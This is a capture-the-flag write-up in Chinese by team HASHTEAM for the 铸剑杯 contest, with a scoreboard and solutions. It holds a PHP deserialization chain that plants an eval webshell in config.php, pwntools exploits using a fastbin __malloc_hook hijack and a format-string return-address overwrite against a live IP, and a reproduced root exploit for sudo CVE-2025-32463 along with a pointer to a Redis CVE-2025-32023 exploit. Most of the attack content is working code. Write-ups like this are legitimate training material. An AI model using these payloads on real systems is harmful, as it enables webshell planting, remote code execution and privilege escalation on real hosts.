HASHTEAM 铸剑杯 wp

排名

排名	战队名称	总分	战队强项	解题数量	一血数量	最新更新
1	L队	4266.05	Pwn	7	0	2025-11-24 22:21:56
2	HASHTEAM	3865.04	Pwn	6	0	2025-11-24 22:12:39
3	DoDoMo	3815.96	Pwn	6	0	2025-11-24 21:55:27
4	Syclover	3806.94	Pwn	6	0	2025-11-24 20:58:22
5	5USn	3489.51	Reverse	4	1	2025-11-24 21:50:16
6	HUBUDOAT	3465.16	InfoSEC	6	0	2025-11-24 22:07:38
7	新疆大学-XXX1队	3435.94	InfoSEC	6	0	2025-11-24 22:04:14
8	HUBUMARS-23	3435.94	Web	6	0	2025-11-24 22:08:14
9	FOTSEC	3423.66	Pwn	5	1	2025-11-24 21:07:44
10	D19f 队	3377.69	Pwn	5	0	2025-11-24 22:26:11

共 21 页 < 1 2 3 4 5 ... 21 >

problem

web

浅析 PHP 原生类

通过 7.3 `ZipArchive` 类的 `open` 方法覆写 `install.lock` ，从而将一句话木马写入 `config.php`

链子：

Plain Text

```
install_2::__wakeup() -> install_1::__tostring() -> Until::__invoke() -
> Until::write()
install_0::__destruct() -> file_put_contents('config.php', 小马宝莉)
```

PHP

```php
<?php

class install {
    private $username;
    private $password;

    public function cu($u) { $this->username = $u; }

    public function cp($p) { $this->password = $p; }

    public function __wakeup()
    {
        echo "Hello,".$this->username."\n";
    }

    public function __toString()
    {
        ($this->username)();
        return "Guest";
    }

    public function __destruct()
    {
        if(file_exists("install.lock")){
            exit("Already installed\n");
        }else{
            $config = [
                'username' => $this->username,
                'password' => md5($this->password)
            ];
            file_put_contents('config.php', serialize($config));
            file_put_contents('install.lock', "ok");
        }
    }
}

class Until {
    public $a;
    public $b;
    public $c;

    public function __invoke()
```

```php
    {
        echo "Invoked\n";
        $this->write($this->a, $this->b, $this->c);
    }

    public function __toString()
    {
        return "HappyUnserialize";
    }

    public function write($cla, $file, $cont)
    {
        $obj = new $cla();
        $obj->open($file,$cont);
        return True;
    }
}

$u = new Until();
$u->a = "ZipArchive";
$u->b = "install.lock";
$u->c = 8;

$m = new install();
$m->cu('<?php eval($_REQUEST[hash]);?>');

$a = new install();
$a->cu($u);
$a->cp($m);

$b = new install();
$b->cu($a);

$payload = serialize($b);
echo urlencode($payload). "\n\n\n";

unserialize($payload);

```

Not secure 88a6f614.clsadp.com/config.php?hash=system(%27cat%20/flag%27);

a:2:{s:8:"username";O:7:"install":2:{s:17:"installusername";O:5:"Until":3:{s:1:"a";s:10:"ZipArchive";s:1:"b";s:12:"install.lock";s:1:"c";i:8;}s:17:"installpassword";O:7:"install":2:{s:17:"installusername";s:30:"

Warning: Use of undefined constant hash - assumed 'hash' (this will throw an Error in a future version of PHP) in **/var/www/html/config.php** on line **1**

flag{afa8bf1dacd4eea4d905ca693178b8f8} ";s:17:"installpassword";N;}}s:8:"password";s:32:"d41d8cd98f00b204e9800998ecf8427e";}

pwn

我不吃牛肉

一个随机数 + 菜单题，通过调试找到 seed 可以控制 choice：

seed:8 -> choice:0

seed:4 -> choice:1

seed:2 -> choice:2

seed:0 -> choice:3

然后就是一个 2.23 的板子 fastbin attack，直接劫持 malloc hook-0x23 为 system，设置 size 为 binsh 的地址即可：

Python

```python
#!/bin/python3

from pwn import *
from tqdm import tqdm

printrecv = lambda x: success(f"{x} = {hex(globals()[x])}")
printlibc = lambda x: success(f"libcbase = {hex(x.address)}")

def init(mode:list, ip:str, gdbs:str):
    if mode[0] == "debug":
        context.log_level = 'debug'
        context.timeout = 30000
    else:
        context.log_level = 'info'
        context.timeout = 30

    context.os = 'linux'

    if mode[1] == 64:
        context.arch = 'amd64'
    else:
        context.arch = 'i386'

    try:
        elf = ELF("/home/jnamerz/pwntest/pwn")
        libc = elf.libc
    except FileNotFoundError:
        libc = ELF("/home/jnamerz/pwntest/libc.so.6")
        info("elf not found")

    if mode[0] == "attack":
        if ip:
            if ":" in ip:
                ip_ = ip.split(":")
            else: ip_ = ip.split(" ")
            c = remote(ip_[0], int(ip_[1]))
        else:
            c = process(["/home/jnamerz/pwntest/pwn"])
    else:
        c = gdb.debug(["/home/jnamerz/pwntest/pwn"], gdbscript=gdbs)
    assert libc is not None
    return c, elf, libc
```

```python

mode = ["debug", 64]
#mode = ["attack", 64]
ip = ''

gdbs = '''
    # set debug-file-directory /home/jnamerz/gits/glibc-all-in-one/libs/2.39-0ubuntu8.6_amd64/.debug
    #b * 0x100554E
    b * $rebase(0xD50)
    set follow-fork-mode child
    c
    #set exception-verbose on
    #set glibc 2.35
'''

c, elf, libc = init(mode, ip, gdbs)

seed2cmd = {0: 8, 1: 4, 2: 2, 3: 0}

def cint(pre : bytes, num : int): c.sendlineafter(pre, str(num).encode())
def cmd(cmdid): cint(b'choice:', seed2cmd[cmdid])
def add(idx, size, send_content=True): cmd(0); cint(b'index:\n', idx); cint(b'size:\n', size)
def free(idx): cmd(1); cint(b'index:\n', idx)
def show(idx): cmd(3); cint(b'index:\n', idx)
def edit(idx, size, data, line = True):
    cmd(2); cint(b'index:\n', idx); cint(b'length:\n', size)
    if type(data) == str: data = data.encode()
    if line: c.sendlineafter(b'content:\n', data)
    else:
        c.sendafter(b'content:\n', data)
        #if ip and mode[0] == 'attack': sleep(0.5)
def bb(): cmd(16)

add(0, 0x200)
add(1, 0x200)

free(0)
show(0)
libc.address = u64(c.recv(6) + b'\0\0') - 3951480
success(f"libcbase = {hex(libc.address)}")

```

```python
fastbin_size = 0x65

add(2, fastbin_size)
add(3, fastbin_size)

free(2)
free(3)
free(2)
show(2)
bin2 = u64(c.recvuntil(b'\n', True).ljust(8, b'\0')) + 0x10

success(f"bin2 = {hex(bin2)}")


add(0, fastbin_size)
edit(0, 0x21, p64(libc.sym['__malloc_hook'] - 0x23).ljust(0x20, b'\0'))
add(1, fastbin_size)
edit(1, 9, b'/bin/sh\0')
add(2, fastbin_size)
add(3, fastbin_size)
edit(3, 30, b'a'*19 + p64(libc.sym['system']))
pause()
add(0, bin2)
c.interactive()
```

我最好的初代同事

16 字节的 fmt，过了检查之后利用 rbp 有链条的性质，用低地址的 rbp 修改高地址的 rbp 指向 game 的返回地址，然后修改返回地址低 2 字节指向 success 即可 getshell：

Python

```python
#!/bin/python3

from pwn import *
from tqdm import tqdm

printrecv = lambda x: success(f"{x} = {hex(globals()[x])}")
printlibc = lambda x: success(f"libcbase = {hex(x.address)}")

def init(mode:list, ip:str, gdbs:str):
    if mode[0] == "debug":
        context.log_level = 'debug'
        context.timeout = 30000
    else:
        context.log_level = 'info'
        context.timeout = 30

    context.os = 'linux'

    if mode[1] == 64:
        context.arch = 'amd64'
    else:
        context.arch = 'i386'

    try:
        elf = ELF("/home/jnamerz/pwntest/pwn")
        libc = elf.libc
    except FileNotFoundError:
        libc = ELF("/home/jnamerz/pwntest/libc.so.6")
        info("elf not found")

    if mode[0] == "attack":
        if ip:
            if ":" in ip:
                ip_ = ip.split(":")
            else: ip_ = ip.split(" ")
            c = remote(ip_[0], int(ip_[1]))
        else:
            c = process(["/home/jnamerz/pwntest/pwn"])
    else:
        c = gdb.debug(["/home/jnamerz/pwntest/pwn"], gdbscript=gdbs)
    assert libc is not None
    return c, elf, libc
```

```python

mode = ["debug", 64]
mode = ["attack", 64]
ip = '113.201.14.253:30420'

gdbs = '''
    # set debug-file-directory /home/jnamerz/gits/glibc-all-in-one/libs/2.39-0ubuntu8.6_amd64/.debug
    #b * 0x100554E
    b * $rebase(0x12F8)
    set follow-fork-mode child
    c
    #set exception-verbose on
    #set glibc 2.35
'''

c, elf, libc = init(mode, ip, gdbs)

c.recvuntil(b'additions\n')
for _ in range(5):
    r = c.recvline().decode()
    a, b = [int(i) for i in r.strip().strip('what\'s ').split(' add ')]
    c.sendline(str(a + b).encode())

c.sendlineafter(b'[2]leave\n', b'1')
c.sendlineafter(b'Input:', b'%10$p-%8$p')
c.recvuntil(b'Your input:')
stack = int(c.recvuntil(b'-', True).decode(), 16) + 0x8
pie = int(c.recvuntil(b'\n', True).decode(), 16) - 0x11a0
printrecv('pie')

c.sendlineafter(b'[2]leave\n', b'1')
c.sendlineafter(b'Input:', f'%{stack & 0xffff}c%10$hn')

c.sendlineafter(b'[2]leave\n', b'1')
c.sendlineafter(b'Input:', f'%{(pie+0x14E3) & 0xffff}c%14$hn')
c.interactive()
```

```
$ cat flag
flag{0e970f6f49fc934ebce1794cf7200ad9}
$
[*] Interrupted
[*] Closed connection to 113.201.14.253 po
```

Game

我勒个超级玛丽奥

打通即给

InfoSEC

Redis 爱你呦

navicat 看到 redis 版本是 7.4.2，上网找 cve：

https://www.cvedetails.com/vulnerability-list/vendor_id-25596/product_id-101460/version_id-1994112/year-2025/opec-1/Redis-Redis-7.4.2.html

就两个 rce 的 cve：CVE-2025-32023，CVE-2025-49844

前两天看到了 CVE-2025-49844，所以打了打试试，但是没通（

后来转头一想，又打了打 CVE-2025-32023，找了一个 exp：

https://github.com/leesh3288/CVE-2025-32023/blob/main/solver-f0b22e429fa6c984f39a409744ff954d3a45d843edd29428ef3a68085d696a7d.py

这个 exp 需要一个二进制样本，直接 docker 拉一个下来：

```bash
docker run -it redis:7.4.2-alpine3.21@sha256:02419de7eddf55aa5bcf49efb74e88fa8d931b4d77c07eff8a6b2144472b6952 /bin/sh
docker cp ef157de95132:/usr/local/bin/redis-server ./
```

然后设置好 ip 和 port 运行脚本：

```bash
python3 redis_exploit.py
```

就 getshell 了

最近还好吗

打开发现得提权，查找发现 sudo 版本是 1.9.16，在 cve 影响范围内

CVE-2025-32463_chwoot/sudo-chwoot.sh at main · pr0v3rbs/CVE-2025-32463_chwoot

Python

```python
#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
#                  @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

if [ $# -eq 0 ]; then
    # If no command is provided, default to an interactive root shell.
    CMD="/bin/bash"
else
    # Otherwise, use the provided arguments as the command to execute.
    CMD="$@"
fi

# Escape the command to safely include it in a C string literal.
# This handles backslashes and double quotes.
CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g')

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}
```

直接运行该 exp 进行 sudo 提权